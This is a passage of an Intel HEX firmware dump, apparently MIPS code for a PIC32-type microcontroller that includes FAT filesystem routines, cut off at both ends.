n:10d3d0001a00c2932000c38f211062007e00032434\n:10d3e000000043a01a00c293010042242000c38f12\n:10d3f0002110620031000324000043a02000022419\n:10d400006200c2a75c00c0a7010002241000c2afe6\n:10d410006036400b000000002c00c0af3000c0aff1\n:10d420005e00c0a70c80828f3c00428c6400c2afbb\n:10d430000c80828f4000428c6800c2af6c00c32712\n:10d440002800c2272120600021284000403e400fd4\n:10d45000000000006c00c3272800c22721206000c4\n:10d46000212840000100062421380000db1b400f6a\n:10d470000000000026014014000000001000c38fcf\n:10d48000cccc023ccdcc423419006200101000001c\n:10d49000c21002004010020080200200211044004f\n:10d4a00023106200ff00423030004224ff0042306f\n:10d4b0002014027cb700c2a31000c38feb51023cc2\n:10d4c0001f85423419006200101000004211020052\n:10d4d0008010020080200200211044008020020001\n:10d4e0002110440023106200cccc033ccdcc63342b\n:10d4f0001900430010100000c2100200ff0042306b\n:10d5000030004224ff0042302014027cb600c2a347\n:10d510001000c58f6210023cd34d42341900a200a6\n:10d520001010000082190200212060008010040009\n:10d53000212040004011040023104400211043002a\n:10d54000c01002002318a200eb51023c1f85423498\n:10d55000190062001010000042110200ff0042306a\n:10d5600030004224ff0042302014027cb500c2a3e8\n:10d570001000c58fb7d1023c591742341900a200e0\n:10d5800010100000421b02002120600080100400e7\n:10d5900021204000401104002310440021104300ca\n:10d5a0008018020021104300001102002318a2007d\n:10d5b0006210023cd34d423419006200101000008a\n:10d5c00082110200ff00423030004224ff0042304e\n:10d5d0002014027cb400c2a31000c58f42190500bc\n:10d5e0007c0a023cc55a4234190062001010000047\n:10d5f000c219020021206000801004002120400098\n:10d600004011040023104400211043008018020040\n:10d610002110430080180200211043004011020035\n:10d620002318a200b7d1023c5917423419006200f6\n:10d630001010000042130200ff004230300042246c\n:10d64000ff0042302014027cb300c2a31000c58f3b\n:10d650001b43023c83de42341900a200101000007c\n:10d66000821c020021106000c01002004021020054\n:10d670002320820080110400231044002110430065\n:10d68000801102002318a200421903007c0a023c08\n:10d69000c55a42341900620010100000c211020085\n:10d6a000ff00423030004224ff0042302014027c50\n:10d6b000b200c2a31000c58f5f6b023c6bca42343c\n:10d6c0001900a20010100000821d0200211060004d\n:10d6d000c0100200402102002320820080110400bb\n:10d6e0002310440021104300801802002110430041\n:10d6f000c01102002318a2001b43023c83de423407\n:10d70000190062001010000082140200ff00423075\n:10d7100030004224ff0042302014027cb100c2a33a\n:10d72000b100c38330000224060062100000000034\n:10d730001b00c0a37e000224b000c2a31736400b1a\n:10d7400000000000060002241b00c2a31436400b98\n:10d75000000000001b00c2931000c32721106200cc\n:10d76000a000438030000224360062140000000054\n:10d770001b00c293ffff42241000c3272110620048\n:10d78000a0004380300002242e006214000000003c\n:10d790001b00c2931000c327211062007e000324e7\n:10d7a000a00043a05400c28f2400401400000000d9\n:10d7b0001b00c29301004230ff0042301f004010a6\n:10d7c000000000001b00c293ffff4230ffff422415\n:10d7d000ffff42301800c2a70436400b00000000d3\n:10d7e0001800c2871800c387010063241000c427f3\n:10d7f00021188300a00063801000c427211082003c\n:10d80000a00043a01800c287010042241800c2a74c\n:10d810001800c28707004228f1ff401400000000f2\n:10d8200020000224b700c2a31b00c293ffff4224c2\n:10d830001b00c2a31736400b000000001736400b38\n:10d84000000000001b00c293ffff42241b00c2a384\n:10d850001b00c293bfff4014000000001b00c393d5\n:10d860001a00c2932b106200050040140000000053\n:10d870001a00c2931600c2a73136400b0000000008\n:10d880001b00c2931600c2a73136400b00000000f7\n:10d890001600c287010043241600c3a721204000c0\n:10d8a0001b00c293010043241b00c3a31000c32725\n:10d8b00021106200a00043801000c2272110440004\n:10d8c000380043a01b00c2930800422cf0ff401414\n:10d8d000000000003e36400b000000001600c2872a\n:10d8e000010043241600c3a71000c32721106200c3\n:10d8f00020000324380043a01600c28708004228f5\n:10d90000f6ff4014000000005d36400b00000000f0\n:10d91000c000c28f200042242000c2af1b00c0a361\n:10d920005536400b000000001b00c2932000c38f3f\n:10d93000211062001b00c3931000c427211883002c\n:10d9400038006380000043a01b00c2930100422402\n:10d950001b00c2a31b00c2930b00422cf2ff401419\n:10d9600000000000010002241c00c2af6636400b1c\n:10d97000000000001000c28f010042241000c2af5e\n:10d980001000c38f9800023c809642342b10620036\n:10d99000a1fe4014000000001c00c28f21e8c0035b\n:10d9a000bc00bf8fb800be8fc000bd270800e003d9\n:10d9b00000000000d8ffbd272400beaf21f0a00367\n:10d9c00080bf023c2002428c0400c2af80bf023cf8\n:10d9d0002002428c0800c2af0400c38f0800c28f2f\n:10d9e000f7ff62140000000080bf023c3002428c4e\n:10d9f0000c00c2af80bf023c3002428c1000c2afac\n:10da00000c00c38f1000c28ff7ff621400000000eb\n:10da10000c00c28f021602001400c2a70c00c28fb5\n:10da2000021202001600c2a70c00c28fffff423094\n:10da30000f004230ffff4230001202001800c2a760\n:10da40000400c28f02160200ffff43301800c29785\n:10da5000251062001800c2a70400c28f0212020043\n:10da60001a00c2a70000c0a71400c2970f004230de\n:10da7000ffff43300000c297211062000000c2a7e0\n:10da80001400c297f000423003110200ffff423041\n:10da9000401002008018020021104300ffff4330b5\n:10daa0000000c297211062000000c2a70000c297c8\n:10dab000140042240000c2a70000c29740120200d6\n:10dac0001c00c2a71600c29700104230050040108b\n:10dad000000000000a0002240000c2a7ba36400b72\n:10dae000000000000000c0a71600c297000f4230df\n:10daf00003120200ffff43300000c29721106200b2\n:10db00000000c2a70000c297401102000000c2a797\n:10db10001c00c3970000c297251062001c00c2a71a\n:10db20001600c297f0004230031102000000c2a7a5\n:10db30000000c2974010020080180200211043002c\n:10db40000000c2a71600c2970f004230ffff43300b\n:10db50000000c297211062000000c2a71c00c397fa\n:10db60000000c297251062001c00c2a71c00c297cb\n:10db70003a8182a71c00c297368182a71c00c297f7\n:10db8000348182a71800c297f000423003110200ce\n:10db9000ffff4230401002008018020021104300b5\n:10dba0000000c2a71800c2970f004230ffff4330a9\n:10dbb0000000c297211062000000c2a70000c297b7\n:10dbc000c01202001c00c2a71a00c2970213020072\n:10dbd000ffff423040100200801802002110430075\n:10dbe0000000c2a71a00c297000f423003120200c1\n:10dbf000ffff43300000c297211062000000c2a75f\n:10dc00000000c29740110200201e027c1c00c28747\n:10dc1000251062002016027c1c00c2a71a00c297c1\n:10dc2000f000423003110200ffff423040100200ba\n:10dc300080180200211043000000c2a71a00c297fa\n:10dc40000f004230ffff43300000c29721106200f6\n:10dc50000000c2a70000c29701004230ffff42301f\n:10dc6000050040100000000064000224168182a319\n:10dc70001f37400b00000000168180a30000c297f0\n:10dc8000421002000000c2a71c00c3970000c29708\n:10dc9000251062001c00c2a71c00c2972c8182a71d\n:10dca0001c00c297328182a721e8c0032400be8fe6\n:10dcb0002800bd270800e00300000000d8ffbd27b2\n:10dcc0002400bfaf2000beaf21f0a0032800c4afe6\n:10dcd0002110a0002c00c2a32800c28f0000428c9b\n:10dce0001000c2af2800c28f0800428c1400c2afdf\n:10dcf0002800c48f8437400f000000001400c2af1a\n:10dd00001400c28f0400401400000000150002241b\n:10dd10007e37400b000000001000c28f24004390ab\n:10dd20000100022409006214000000001000c48fea\n:10dd30001400c58ff80f062421380000c64a400f92\n:10dd4000000000006737400b000000001000c28f89\n:10dd50002400439002000224090062140000000025\n:10dd60001000c48f1400c58ff8ff0634213800005e\n:10dd7000c64a400f000000006737400b000000005b\n:10dd80001000c48f1400c58fff0f023cf8ff46340b\n:10dd900021380000c64a400f000000002800c28f52\n:10dda0000800428c1800c2af1000c48f1800c58f45\n:10ddb0001400c68f21380000c64a400f0000000042\n:10ddc0002800c28f1400c38f080043ac2c00c393fb\n:10ddd0000100022407006214000000001000c48f3c\n:10dde0001400c58fc63e400f000000007e37400b78\n:10ddf000000000002110000021e8c0032400bf8fb4\n:10de00002000be8f2800bd270800e00300000000ae\n:10de1000d0ffbd272c00bfaf2800beaf21f0a0036c\n:10de20003000c4af1c00c0af3000c28f0000428c75\n:10de30002000c2af3000c28f0800428c1000c2af79\n:10de40002000c28f24004290010003240c004310e4\n:10de500000000000030003240f0043140000000032\n:10de6000ff0f023cf7ff42341400c2afff0f023c29\n:10de7000ffff42341800c2afab37400b0000000078\n:10de8000f70f02241400c2afffff02341800c2af24\n:10de9000ab37400b00000000f7ff02341400c2afa4\n:10dea000ffff02341800c2af000000001000c28f54\n:10deb0000200422c03004010000000000200022477\n:10dec0001000c2af1000c28f2400c2af2000c48f68\n:10ded0001000c58f8f49400f00000000e437400b51\n:10dee000000000002000c48f1000c58f8f49400f34\n:10def000000000001c00c2af1c00c38f1800c28fbe\n:10df000004006214000000001000c0afe737400baf\n:10df1000000000001c00c28f03004014000000003d\n:10df2000e737400b000000001000c28f01004224c0\n:10df30001000c2af1c00c38f1400c28f0b00621010\n:10df4000000000002000c28f1900438821206000db\n:10df50001600449821108000020043241000c28f54\n:10df60002b104300030040140000000002000224b4\n:10df70001000c2af1000c38f2400c28f04006214cf\n:10df8000000000001000c0afe737400b00000000a9\n:10df90001000c28fd3ff4014000000001000c28f99\n:10dfa00021e8c0032c00bf8f2800be8f3000bd27a2\n:10dfb0000800e00300000000d8ffbd272400bfaf29\n:10dfc0002000beaf21f0a0032800c4af4800022407\n:10dfd0001400c2af388180a32800c28f360042945b\n:10dfe0001c00c2a72800c28f1800428c01004230da\n:10dff0005700401000000000448082930a00401047\n:10e00000000000003241400f0000000006004010f8\n:10e010000000000009000224388182a3ffff0224cf\n:10e020007a38400b000000002800c28f0000428cac\n:10e030002120400021280000213000000100072499\n:10e04000c64a400f00000000048080af2800c28f45\n:10e050000000438c2800c28f0800428c2120600001\n:10e06000212840008f49400f000000001c00c227fb\n:10e070002800c48f212840009139400f0000000083\n:10e080001800c2af1800c28f080040140000000042\n:10e090001b000224388182a3ffff02241400c2afb8\n:10e0a0001400c28f7a38400b000000006d36400f1c\n:10e0b00000000000328183971800c28f160043a42d\n:10e0c000368183971800c28f180043a42800c28f9e\n:10e0d0001400438c1800c28f1c0043ac2800c28f70\n:10e0e0003a004294ff0043301800c28f0b0043a057\n:10e0f0001c00c2272800c48f21284000182f400f81\n:10e10000000000000a004010000000001c00c227b0\n:10e110002800c48f212840009139400f00000000e2\n:10e120001800c2af1400c0af5038400b0000000010\n:10e1300009000224388182a3ffff02241400c2af29\n:10e140002800c38f180062900400027c180062a0af\n:10e150002800c38f180062904408027c180062a057\n:10e160001000c0a76f38400b000000001000c297dd\n:10e1700080100200001902002110430000a0033c9f\n:10e18000c4106324211843002800c28f08006214c1\n:10e19000000000001000c3971c818227211062003c\n:10e1a00001000324000043a07338400b000000006e\n:10e1b0001000c297010042241000c2a71000c297ad\n:10e1c0000300422ce9ff4014000000002800c0af0b\n:10e1d0001400c38f480002240200621400000000f3\n:10e1e0001400c0af1400c28f21e8c0032400bf8f09\n:10e1f0002000be8f2800bd270800e00300000000bb\n:10e20000d8ffbd272400bfaf2000beaf21f0a00380\n:10e210002800c4af2c00c5af1600c0a32c00c28fcd\n:10e22000000042940f004230110040140000000032\n:10e230002c00c28f000042940d004010000000002e\n:10e240002800c28f3c00438c2800c28f400043aca2\n:10e250002800c48f2c00c58f01000624e72f400f33\n:10e26000000000001000c2afa238400b0000000008\n:10e270002800c48f2c00c58f21300000e72f400fed\n:10e28000000000001000c2af1000c28f0500401453\n:10e2900000000000020002241500c2a33139400b27\n:10e2a000000000001000c28f000042801700c2a3cf\n:10e2b0001700c393e500022405006214000000006b\n:10e2c000010002241500c2a33139400b00000000f8\n:10e2d0001700c29305004014000000000200022451\n:10e2e0001500c2a33139400b000000001000c28f9e\n:10e2f0000b0042901700c2a31400c0a3d538400bf6\n:10e30000000000001400c2931000c38f21106200af\n:10e31000000042801800c2a31800c29321204000d0\n:10e320006a57410f000000001800c2a31600c293f4\n:10e33000010043241600c3a31800c3832800c48f20\n:10e3400021108200200043a01400c2930100422447\n:10e350001400c2a31400c2930800422ce9ff401429\n:10e36000000000001000c28f0b0042901700c2a3f3\n:10e370001000c28f080042801800c2a31400c0a37e\n:10e38000f638400b000000001400c2931000c38f49\n:10e3900021106200080042801800c2a31800c29336\n:10e3a000212040006a57410f000000001800c2a35e\n:10e3b0001600c293010043241600c3a31800c383b0\n:10e3c0002800c48f21108200200043a01400c293b3\n:10e3d000010042241400c2a31400c2930300422c83\n:10e3e000e9ff4014000000002c00c28f000043949d\n:10e3f0002800c28f360043a41000c28f0000428064\n:10e400001700c2a31700c393e5000224050062149d\n:10e4100000000000010002241500c2a30a39400bcd\n:10e42000000000001500c0a31000c28f1c00438c28\n:10e430002800c28f140043ac1000c48f0227400f85\n:10e4400000000000211840002800c28f040043ace7\n:10e450001000c28f0b0042901700c2a31700c29396\n:10e46000ffff43302800c28f3a0043a41700c29335\n:10e47000100042300b004010000000001000c28f5e\n:10e480000e0043942800c28f1c0043a41000c28fca\n:10e49000100043942800c28f1e0043a43139400b62\n:10e4a000000000001000c28f160043942800c28fa5\n:10e4b0001c0043a41000c28f180043942800c28f90\n:10e4c0001e0043a41500c29321e8c0032400bf8f9f\n:10e4d0002000be8f2800bd270800e00300000000d8\n:10e4e000d0ffbd272c00bfaf2800beaf21f0a00396\n:10e4f0003000c4af3400c5af3800c6af3800c28f9b\n:10e50000000042940f00423011004014000000004f\n:10e510003800c28f000042940d004010000000003f\n:10e520003000c28f3c00438c3000c28f400043acaf\n:10e530003000c48f3800c58f01000624e72f400f3c\n:10e54000000000001000c2af5a39400b000000006c\n:10e550003000c48f3800c58f21300000e72f400ff6\n:10e56000000000001000c2af1000c28f0500401470\n:10e5700000000000020002242000c2a38a39400be0\n:10e58000000000001000c28f000042801400c2a3ef\n:10e590001400c393e500022405006214000000008b\n:10e5a000010002242000c2a38a39400b00000000b1\n:10e5b0001400c29305004014000000000200022471\n:10e5c0002000c2a38a39400b000000002000c0a335\n:10e5d0003400c28f1c00c2af1000c28f1800c2af3f\n:10e5e0001400c0a38639400b000000001c00c28f3d\n:10e5f000010043241c00c3af1800c38f0100642432\n:10e600001800c4af00006390000043a01400c29340\n:10e61000010042241400c2a31400c2932000422c23\n:10e62000f2ff4014000000002000c29321e8c00364\n:10e630002c00bf8f2800be8f3000bd270800e003ec\n:10e6400000000000e0ffbd271c00bfaf1800beaff8\n:10e6500021f0a0032000c4af2400c5af2000c28f6a\n:10e660003c00438c2000c28f400043ac2000c48f8c\n:10e670002400c58f01000624e72f400f0000000092\n:10e680001000c2af1000c28f040040140000000050\n:10e6900021100000d739400b000000001000c28f8d\n:10e6a000000042801400c2a31400c2930200401470\n:10e6b000000000001000c0af1000c28f2600401004\n:10e6c000000000001400c393e5000224040062145b\n:10e6d000000000001000c0afd639400b0000000061\n:10e6e0001000c28f0b0042901400c2a3d239400b1d\n:10e6f000000000002400c28f000042940100422468\n:10e70000ffff43302400c28f000043a42000c48fc9\n:10e710002400c58f21300000e72f400f00000000cb\n:10e720001000c2af1000c28f0400401400000000af\n:10e7300021100000d739400b000000001000c28fec\n:10e740000b0042901400c2a31400c3930f000224d4\n:10e75000e8ff6210000000001000c28f21e8c00333\n:10e760001c00bf8f1800be8f2000bd270800e003eb\n:10e7700000000000c8ffbd273400bfaf3000beafaf\n:10e7800021f0a0033800c4af3c00c5af2110c00089\n:10e790004000c2a31000c0af1400c0af01000224ab\n:10e7a0001c00c2af3800c28f0000428c2000c2aff4\n:10e7b0003800c28f34004294148182a7148182975a\n:10e7c000290040100000000014818497c44e023cd0\n:10e7d0004fec423419008200101000008228020021\n:10e7e0002118a000801003002118400080100300b1\n:10e7f000231043002110450023108200ffff423008\n:10e800002400c2a314818397c44e023c4fec4234cf\n:10e81000190062001010000082100200ffff423059\n:10e820001800c2a32400c293050040140000000099\n:10e83000148182970d00422c060040100000000059\n:10e840001800c293020042241800c2a31c3a400bd5\n:10e85000000000001800c293010042241800c2a367\n:10e860001c3a400b00000000010002241800c2a363\n:10e8700001000224388182a35c3a400b00000000b2\n:10e880003800c28f3c00438c3800c28f400043ac3c\n:10e890003800c48f3c00c58f01000624e72f400fcd\n:10e8a000000000002800c2af2800c28f04004014fe\n:10e8b000000000001b000224763a400b000000001c\n:10e8c0002800c28f000042802c00c2a32800c28f03\n:10e8d00008004010000000002c00c293050040100a\n:10e8e000000000002c00c393e50002240500621420\n:10e8f000000000000b0002241000c2af613a400b80\n:10e90000000000002800c28fe5ff0324000043a0a0\n:10e910003800c48f3c00c58f182f400f0000000046\n:10e920000500401400000000010002241000c2afe6\n:10e93000613a400b000000001c00c28f060040102e\n:10e94000000000002800c48f0227400f00000000d4\n:10e950001400c2af1c00c0af3c00c28f0000429444\n:10e96000ffff4224ffff43303c00c28f000043a45e\n:10e970001800c293ffff43241800c3a3c0ff401434\n:10e98000000000001000c28f1200401400000000c0\n:10e990002881828f1400c38f0b00621000000000da\n:10e9a0004000c29308004010000000001400c48f13\n:10e9b0002000c58f742f400f000000000100422c82\n:10e9c000ff0042301000c2af1000c28fff00423083\n:10e9d000388182a31000c28f21e8c0033400bf8faa\n:10e9e0003000be8f3800bd270800e00300000000a3\n:10e9f00050ffbd27ac00bfafa800beaf21f0a00301\n:10ea0000b000c4afb400c5af388180a3f4d8400fc4\n:10ea10000000000006004010000000001800022462\n:10ea2000388182a3ffff02240b3b400b0000000053\n:10ea30001c00c22721204000b400c58f403e400f7b\n:10ea4000000000001c00c227b000c48f2128400035\n:10ea5000213000004e42400f00000000060040142c\n:10ea60000000000012000224388182a3ffff02246c\n:10ea70000b3b400b000000005200c0a70c80828faf\n:10ea80003c00428c5800c2af0c80828f4000428c08\n:10ea90005c00c2af6000c3271c00c22721206000b9\n:10eaa00021284000403e400f000000006000c327c6\n:10eab0001c00c227212060002128400001000624fc\n:10eac00021380000db1b400f00000000211840002f\n:10ead0000b0002245200621400000000b400c28f38\n:10eae000360042941800c2a71800c227b400c48f91\n:10eaf0002128400021300000dd39400f00000000d7\n:10eb0000060040100000000001000224388182a3aa\n:10eb1000ffff02240b3b400b000000005600c29791\n:10eb2000ff0042301c00c4271800c32721286000c2\n:10eb30002130400021380000e630400f0000000086\n:10eb4000ff004230388182a31c00c3271800c2276f\n:10eb500021206000212840009139400f0000000072\n:10eb60001000c2afb400c28f0400428cffff4330dc\n:10eb70001000c28f1a0043a4b400c28f0400438c5b\n:10eb8000ff0f023c241062001400c2af1400c28fb9\n:10eb9000021402001400c2af1400c28fffff433002\n:10eba0001000c28f140043a4b400c28f1400438c21\n:10ebb0001000c28f1c0043ac1c00c3271800c227e2\n:10ebc0002120600021284000182f400f0000000085\n:10ebd000211840000100022406006210000000001d\n:10ebe00009000224388182a3ffff02240b3b400b63\n:10ebf00000000000b400c28f1400428c3000c2af8d\n:10ec00001c00c227b400c48f21284000403e400fa2\n:10ec100000000000211000000b3b400b0000000032\n:10ec200011000224388182a3ffff022421e8c003df\n:10ec3000ac00bf8fa800be8fb000bd270800e00366\n:10ec400000000000e0ffbd271c00bfaf1800beaff2\n:10ec500021f0a0032000c4af2400c5af01000224ae\n:10ec6000488082af2000c48f2400c58f7c3a400fbb\n:10ec7000000000001000c2af488080af1000c28fbb\n:10ec800021e8c0031c00bf8f1800be8f2000bd27e5\n:10ec90000800e00300000000e0ffbd271c00bfaf3c\n:10eca0001800beaf21f0a0032000c4af2400c5af00\n:10ecb00001000224488082af2000c48f2400c58f49\n:10ecc0003b3b400f000000001000c2af488080af07\n:10ecd0001000c28f21e8c0031c00bf8f1800be8f38\n:10ece0002000bd270800e00300000000d8ffbd277a\n:10ecf0002400bfaf2000beaf21f0a0032800c4afa6\n:10ed00002c00c5af2c00c28f000042801c00c2a3a3\n:10ed1000f4d8400f000000000e004010000000007a\n:10ed20001c00c393720002240a006210000000005d\n:10ed30001c00c39352000224060062100000000071\n:10ed400018000224388182a321100000523d400b9c\n:10ed5000000000001000c0af1400c0af703b400bbb\n:10ed6000000000001400c38f1c8182272110620064\n:10ed7000000042900f004010000000001400c38ffc\n:10ed80001c81822721106200000040a01400c28f65\n:10ed900080100200001902002110430000a0033c73\n:10eda000c4106324211043001000c2af743b400b19\n:10edb000000000001400c28f010042241400c2af02\n:10edc0001400c28f03004228e6ff40140000000038\n:10edd0001000c28f06004014000000002000022432\n:10ede000388182a321100000523d400b000000003a\n:10edf0001400c28f40100200001a020021104300cc\n:10ee000000a0033c500a6324211843001000c28f65\n:10ee1000300043ac2800c48f1000c58f21300000a3\n:10ee20004e42400f000000000b00401400000000a4\n:10ee30001400c38f1c81822721106200010003246b\n:10ee4000000043a012000224388182a32110000098\n:10ee5000523d400b000000001000c28f00a0033c98\n:10ee600058106324000043ac1000c28f040040ac73\n:10ee70001000c28f080040ac1000c28f360040a4c2\n:10ee80001000c28f200003243a0043a40c80828f1c\n:10ee90003c00438c1000c28f3c0043ac0c80828f3e\n:10eea0004000438c1000c28f400043ac00a0023ce5\n:10eeb000a01344241000c58f403e400f0000000006\n:10eec0001000c48f00a0023ca013452401000624ba\n:10eed00021380000db1b400f00000000330140140c\n:10eee000000000001c00c293bfff42243700432ce7\n:10eef000270160100000000080180200019d023c04\n:10ef000014ef4224211062000000428c08004000ef\n:10ef100000000000f0f0009d90f3009d90f3009d34\n:10ef200090f3009d90f3009d90f3009d90f3009d61\n:10ef300090f3009d90f3009d90f3009d90f3009d51\n:10ef400090f3009d90f3009d90f3009d90f3009d41\n:10ef500090f3009d90f3009df0f2009d90f3009dd2\n:10ef600090f3009d90f3009d90f3009df0ef009dc5\n:10ef700090f3009d90f3009d90f3009d90f3009d11\n:10ef800090f3009d90f3009d90f3009d90f3009d01\n:10ef900090f3009df0f0009d90f3009d90f3009d94\n:10efa00090f3009d90f3009d90f3009d90f3009de1\n:10efb00090f3009d90f3009d90f3009d90f3009dd1\n:10efc00090f3009d90f3009d90f3009d90f3009dc1\n:10efd00090f3009d90f3009df0f2009d90f3009d52\n:10efe00090f3009d90f3009d90f3009df0ef009d45\n:10eff0001000c28f360042941e00c2a71e00c22716\n:10f000001000c48f2128400001000624dd39400f84\n:10f01000000000001800c2af1800c28f3200401478\n:10f02000000000001e00c2271000c48f21284000ed\n:10f030002130000001000724e630400f00000000ee\n:10f040001800c2af1800c28f270040140000000053\n:10f050001e00c2271000c48f21284000770006241c\n:10f06000a622400f000000001800c2af1000c28f9f\n:10f070003a004294100042300500401000000000a9\n:10f080001f000224388182a3ff0002241800c2afaf\n:10f090001800c28f14004014000000001000c48f3c\n:10f0a00021280000020006249a48400f00000000ba\n:10f0b0001800c2af2c00c28f010042240000438020\n:10f0c0002b00022408006214000000001000c38f0f\n:10f0d00018006290010004244408827c180062a099\n:10f0e000e93c400b00000000e93c400b0000000040\n:10f0f0001000c28f1400428c380040100000000045\n:10f100001000c28f360042941e00c2a71e00c22704\n:10f110001000c48f2128400077000624a622400f4b\n:10f12000000000001800c2af1000c28f3a004294e5\n:10f130001000423005004010000000001f000224b3\n:10f14000388182a3ff0002241800c2af1800c28fca\n:10f1500065004014000000001000c48f212800004a\n:10f16000020006249a48400f000000001800c2afb9\n:10f170001800c28f05004010000000001a00022491\n:10f18000388182a36a3c400b000000001000c28f4f\n:10f190000800428c00a0033c581064242128400041\n:10f1a0008f49400f000000002c00c28f0100422454\n:10f1b000000043802b0002244b006214000000007a\n:10f1c0001000c38f18006290010004244408827c60\n:10f1d000180062a0e93c400b000000001000c28f44\n:10f1e000360042941e00c2a71e00c2271000c48f22\n:10f1f0002128400001000624dd39400f00000000f6\n:10f200001800c2af1800c28f370040140000000081\n:10f210001e00c2271000c48f2128400021300000aa\n:10f2200001000724e630400f000000001800c2afc4\n:10f230001800c28f2c004014000000001e00c227de\n:10f240001000c48f2128400077000624a622400f1a\n:10f25000000000001800c2af1000c28f3a004294b4\n:10f260001000423005004010000000001f00022482\n:10f27000388182a3ff0002241800c2af1800c28f99\n:10f2800019004014000000001000c48f2128000065\n:10f29000020006249a48400f000000001800c2af88\n:10f2a0001800c28f03004010000000001a00022462\n:10f2b000388182a32c00c28f0100422400004380c9\n:10f2c0002b00022408006214000000001000c38f0d\n:10f2d00018006290010004244408827c180062a097\n:10f2e000e93c400b00000000e93c400b000000003e\n:10f2f0001000c28f360042941e00c2a71e00c22713\n:10f300001000c48f2128400072000624a622400f5e\n:10f31000000000001800c2af1800c28f1a0040148d\n:10f32000000000002c00c28f010042240000438036\n:10f330002b00022414006214000000001000c28f91\n:10f340000800428c00a0033c58106424212840008f\n:10f350008f49400f000000001000c28f3a00429415\n:10f360001000423008004014000000001000c38f5d\n:10f3700018006290010004240400827c180062a03e\n:10f38000e93c400b00000000e93c400b000000009d\n:10f390001f000224388182a3ff0002241800c2af9c\n:10f3a000000000003d3d400b000000001000c48f35\n:10f3b00000a0023ca0134524403e400f0000000086\n:10f3c0001c00c393770002240d00621000000000af\n:10f3d0001c00c393570002240900621000000000c3\n:10f3e0001c00c393610002240500621000000000ad\n:10f3f0001c00c393410002243a0062140000000084\n:10f400001e00c0a71e00c2271000c48f2128400084\n:10f410002130000001000724e630400f000000000a\n:10f420001800c2af1800c28f2c004014000000006a\n:10f430001e00c2271000c48f212840007700062438\n:10f44000a622400f000000001800c2af1000c28fbb\n:10f450003a004294100042300500401000000000c5\n:10f460001f000224388182a3ff0002241800c2afcb\n:10f470001800c28f19004014000000001000c48f53\n:10f4800021280000020006249a48400f00000000d6\n:10f490001800c2af1800c28f030040100000000027\n:10f4a0001a000224388182a32c00c28f010042245a\n:10f4b000000043802b0002240800621400000000ba\n:10f4c0001000c38f18006290010004244408827c5d\n:10f4d000180062a03d3d400b000000003d3d400b88\n:10f4e000000000000b0002241800c2af0b00022431\n:10f4f000388182a3f4d8400f0000000005004010be\n:10f50000000000001000c38f180062900400027c0d\n:10f51000180062a01800c28f09004010000000000f\n:10f520001400c38f1c818227211062000100032474\n:10f53000000043a01000c0af513d400b0000000090\n:10f54000388180a31000c28f21e8c0032400bf8f40\n:10f550002000be8f2800bd270800e0030000000047\n:10f56000f8ffbd270400beaf21f0a0030800c4af20\n:10f57000388180a30800c28f1000428c21e8c003ac\n:10f580000400be8f0800bd270800e0030000000053\n:10f5900090fdbd276c02bfaf6802beaf21f0a00393\n:10f5a0007002c4af00a0023c000642241800c2afa3\n:10f5b0001400c0a7388180a3f4d8400f00000000d9\n:10f5c000060040100000000018000224388182a3c9\n:10f5d000ffff0224023e400b000000001800c28f13\n:10f5e0006000c327300043ac7002c48f1800c58f81\n:10f5f000213000004e42400f000000000600401481\n:10f600000000000012000224388182a3ffff0224c0\n:10f61000023e400b000000001800c28f00a0033c17\n:10f6200058106324000043ac1800c28f040040aca3\n:10f630001800c28f080040ac1800c28f360040a4ea\n:10f640001800c28f200003243a0043a40c80828f4c\n:10f650003c00438c1800c28f3c0043ac0c80828f6e\n:10f660004000438c1800c28f400043ac00a0023c15\n:10f67000a01344241800c58f403e400f0000000036\n:10f680001800c48f00a0023ca013452401000624ea\n:10f6900021380000db1b400f000000000600401076\n:10f6a000000000000b000224388182a3ffff022427\n:10f6b000023e400b000000001800c28f3a00429446\n:10f6c0001000423006004010000000001300022429\n:10f6d000388182a3ffff0224023e400b000000009d\n:10f6e0001800c28f3400429438004014000000001b\n:10f6f0001c00c227212040001800c58f403e400f4b\n:10f70000000000001800c28f36004294ffff422420\n:10f71000ffff42306202c2a76202c2271800c48ff4\n:10f720002128400021300000e72f400f000000009a\n:10f730001000c2afdd3d400b000000001400c29776\n:10f740000d0042241400c2a76202c297ffff4224a8\n:10f75000ffff42306202c2a76202c2271800c48fb4\n:10f760002128400021300000e72f400f000000005a\n:10f770001000c2af1000c28f0b0043900f00022494\n:10f780000a006214000000001000c28f00004390c5\n:10f79000e500022405006210000000001000c28f86\n:10f7a00000004290e5ff4014000000001c00c2274a\n:10f7b0001800c48f21284000403e400f0000000088\n:10f7c0001800c28f1400c397340043a41800c28fde\n:10f7d000360042241800c48f21284000010006246e\n:10f7e000dd39400f0000000004004014000000005c\n:10f7f00021100000023e400b000000000100022426\n:10f80000388182a3ffff022421e8c0036c02bf8f6e\n:10f810006802be8f7002bd270800e00300000000f0\n:10f82000e0ffbd271c00bfaf1800beaf21f0a00352\n:10f830002000c4af01000224488082af2000c48fa2\n:10f84000643d400f000000001000c2af488080af50\n:10f850001000c28f21e8c0031c00bf8f1800be8fac\n:10f860002000bd270800e00300000000e8ffbd27de\n:10f870001400bfaf1000beaf21f0a0031800c4af4a\n:10f880004480829303004010000000003241400f8a\n:10f89000000000001800c28f100040ac1800c28f9a\n:10f8a0000e0040a41800c28f0c0040a41800c28fa4\n:10f8b0000400438c1800c28f080043ac408080af26\n:10f8c0000000000021e8c0031400bf8f1000be8fad\n:10f8d0001800bd270800e00300000000f8ffbd2766\n:10f8e0000400beaf21f0a0033881829321e8c00359\n:10f8f0000400be8f0800bd270800e00300000000e0\n:10f90000e8ffbd271400beaf21f0a0031800c4af6c\n:10f910001c00c5af1800c28f0400c2af1c00c28f0c\n:10f920000800c2af440002240c00c2af0000c0af08\n:10f93000593e400b000000000000c28f0400c38f3e\n:10f94000211062000000c38f0800c48f21188300bb\n:10f9500000006390000043a00000c28f0100422419\n:10f960000000c2af0000c38f0c00c28f2a106200db\n:10f97000f1ff40140000000021e8c0031400be8f16\n:10f980001800bd270800e00300000000e0ffbd27cd\n:10f990001c00bfaf1800beaf21f0a0032000c4af11\n:10f9a0002400c5af1000c0af2000c28f0000428c01\n:10f9b0001400c2af2000c48f8437400f0000000045\n:10f9c000211840002400c28f000043ac2400c28fe5\n:10f9d0000000428c050040140000000015000224c5\n:10f9e0001000c2afbf3e400b000000001400c28fe9\n:10f9f0002400439001000224110062140000000062\n:10fa00002400c28f0000428c1400c48f21284000c3\n:10fa1000f80f062421380000c64a400f00000000fd\n:10fa200021184000ffff02342a0062140000000089\n:10fa3000090002241000c2afb53e400b00000000d8\n:10fa40001400c28f24004390020002